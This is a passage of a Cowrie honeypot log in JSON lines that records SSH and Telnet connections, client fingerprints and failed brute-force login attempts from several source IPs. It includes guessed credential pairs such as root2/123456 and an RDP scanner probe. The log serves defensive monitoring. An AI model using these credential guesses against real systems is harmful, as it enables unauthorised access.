0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:43.744828Z","src_ip":"176.65.139.103","session":"69175d459c57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wizard","password":"wizard","message":"login attempt [wizard/wizard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:43.993651Z","src_ip":"176.65.139.103","session":"69175d459c57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":26790,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c60d09e68e3","protocol":"ssh","message":"New connection: 213.209.159.159:26790 (10.17.0.5:22) [session: 6c60d09e68e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:44.455770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:44.460722Z","src_ip":"213.209.159.159","session":"6c60d09e68e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:44.542132Z","src_ip":"213.209.159.159","session":"6c60d09e68e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jesenia","password":"jesenia","message":"login attempt [jesenia/jesenia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:44.943570Z","src_ip":"213.209.159.159","session":"6c60d09e68e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.312325716018677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:45.064914Z","src_ip":"5.189.169.71","session":"0b9d8e387bef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:45.107943Z","src_ip":"176.65.139.103","session":"69175d459c57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jesenia","password":"jesenia1","message":"login attempt [jesenia/jesenia1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:46.029231Z","src_ip":"213.209.159.159","session":"6c60d09e68e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.473118782043457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:46.486637Z","src_ip":"5.189.169.71","session":"fd4c9c6d9ded","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5072124004364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:47.066596Z","src_ip":"5.189.169.71","session":"9c25fe4815cb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"jesenia","password":"jesenia123","message":"login attempt [jesenia/jesenia123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:47.113757Z","src_ip":"213.209.159.159","session":"6c60d09e68e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jesenia","password":"jesenia1234","message":"login attempt [jesenia/jesenia1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:48.198419Z","src_ip":"213.209.159.159","session":"6c60d09e68e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jesenia","password":"jesenia12345","message":"login attempt [jesenia/jesenia12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:49.281881Z","src_ip":"213.209.159.159","session":"6c60d09e68e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.34567308425903,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:49.640865Z","src_ip":"23.254.167.244","session":"4edafc24f5b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":54468,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc83556e7560","protocol":"telnet","message":"New connection: 5.189.169.71:54468 (10.17.0.5:23) [session: dc83556e7560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:49.981284Z"}
{"eventid":"cowrie.session.closed","duration":13.248483419418335,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:50.163028Z","src_ip":"103.253.18.178","session":"af56c1740e7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":38580,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6ec8b38d563","protocol":"ssh","message":"New connection: 176.65.139.103:38580 (10.17.0.5:22) [session: b6ec8b38d563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:50.259646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:50.265769Z","src_ip":"176.65.139.103","session":"b6ec8b38d563","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:50.347573Z","src_ip":"176.65.139.103","session":"b6ec8b38d563","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:50.365283Z","src_ip":"213.209.159.159","session":"6c60d09e68e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:50.605030Z","src_ip":"176.65.139.103","session":"b6ec8b38d563","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":54484,"dst_ip":"10.17.0.5","dst_port":23,"session":"054856416b5b","protocol":"telnet","message":"New connection: 5.189.169.71:54484 (10.17.0.5:23) [session: 054856416b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:50.685303Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":54490,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fa834434808","protocol":"telnet","message":"New connection: 5.189.169.71:54490 (10.17.0.5:23) [session: 1fa834434808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:51.536676Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:51.702108Z","src_ip":"176.65.139.103","session":"b6ec8b38d563","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":55414,"dst_ip":"159.203.135.109","dst_port":23,"session":"db1a5090a3de","protocol":"telnet","message":"New connection: 23.254.167.244:55414 (159.203.135.109:23) [session: db1a5090a3de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:53.651457Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":47934,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a6dc48ece26","protocol":"telnet","message":"New connection: 185.26.126.47:47934 (159.203.135.109:23) [session: 0a6dc48ece26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:53.739143Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47242,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ff8bf5f1856","protocol":"ssh","message":"New connection: 159.203.92.129:47242 (159.203.135.109:22) [session: 9ff8bf5f1856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:54.975409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:54.979896Z","src_ip":"159.203.92.129","session":"9ff8bf5f1856","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:54.984434Z","src_ip":"159.203.92.129","session":"9ff8bf5f1856","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"1234567","message":"login attempt [anna/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:54.998813Z","src_ip":"159.203.92.129","session":"9ff8bf5f1856","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:56.005215Z","src_ip":"159.203.92.129","session":"9ff8bf5f1856","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":54504,"dst_ip":"10.17.0.5","dst_port":23,"session":"f047ef6562b3","protocol":"telnet","message":"New connection: 5.189.169.71:54504 (10.17.0.5:23) [session: f047ef6562b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:56.555013Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60906,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d7ff61c96db","protocol":"ssh","message":"New connection: 176.65.139.103:60906 (10.17.0.5:22) [session: 2d7ff61c96db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:56.882841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:56.911888Z","src_ip":"176.65.139.103","session":"2d7ff61c96db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:56.971966Z","src_ip":"176.65.139.103","session":"2d7ff61c96db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.947083711624146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:57.101587Z","src_ip":"5.189.169.71","session":"8127c4b4f0be","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root2","password":"123456","message":"login attempt [root2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:57.298261Z","src_ip":"176.65.139.103","session":"2d7ff61c96db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":54506,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7040b59f3ab","protocol":"telnet","message":"New connection: 5.189.169.71:54506 (10.17.0.5:23) [session: c7040b59f3ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:57.569917Z"}
{"eventid":"cowrie.session.closed","duration":30.72654128074646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:58.133194Z","src_ip":"5.189.169.71","session":"8dc1bb9943ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:58.600891Z","src_ip":"176.65.139.103","session":"2d7ff61c96db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.88569092750549,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:24:58.824706Z","src_ip":"23.254.167.244","session":"1fdd2333a682","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.85803413391113,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:00.198092Z","src_ip":"23.254.167.244","session":"40fff2328930","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.36100220680237,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:01.302383Z","src_ip":"23.254.167.244","session":"d7c07e6855c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":37616,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f9d66fff926","protocol":"telnet","message":"New connection: 23.254.167.244:37616 (159.203.135.109:23) [session: 5f9d66fff926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:02.121386Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":46264,"dst_ip":"10.17.0.5","dst_port":22,"session":"349f0e7273f5","protocol":"ssh","message":"New connection: 176.65.139.103:46264 (10.17.0.5:22) [session: 349f0e7273f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:03.184618Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58196,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca9f5bd76568","protocol":"telnet","message":"New connection: 5.189.169.71:58196 (10.17.0.5:23) [session: ca9f5bd76568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:03.287716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:03.295179Z","src_ip":"176.65.139.103","session":"349f0e7273f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:03.301919Z","src_ip":"176.65.139.103","session":"349f0e7273f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:03.791815Z","src_ip":"176.65.139.103","session":"349f0e7273f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":55861,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbb5abb582c4","protocol":"ssh","message":"New connection: 103.149.252.223:55861 (159.203.135.109:22) [session: bbb5abb582c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:04.086030Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:04.101814Z","src_ip":"103.149.252.223","session":"bbb5abb582c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:04.106636Z","src_ip":"103.149.252.223","session":"bbb5abb582c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:04.902302Z","src_ip":"176.65.139.103","session":"349f0e7273f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":58204,"dst_ip":"10.17.0.5","dst_port":23,"session":"c88f83b8988e","protocol":"telnet","message":"New connection: 5.189.169.71:58204 (10.17.0.5:23) [session: c88f83b8988e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:05.556422Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":41038,"dst_ip":"159.203.135.109","dst_port":23,"session":"98983c9e12b3","protocol":"telnet","message":"New connection: 23.254.167.244:41038 (159.203.135.109:23) [session: 98983c9e12b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:05.737116Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":43528,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a1b8476276c","protocol":"telnet","message":"New connection: 23.254.167.244:43528 (159.203.135.109:23) [session: 2a1b8476276c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:07.675244Z"}
{"eventid":"cowrie.session.closed","duration":30.267111778259277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:25:08.093443Z","src_ip":"5.189.169.71","session":"9003ee87379a","protocol":"telnet"}
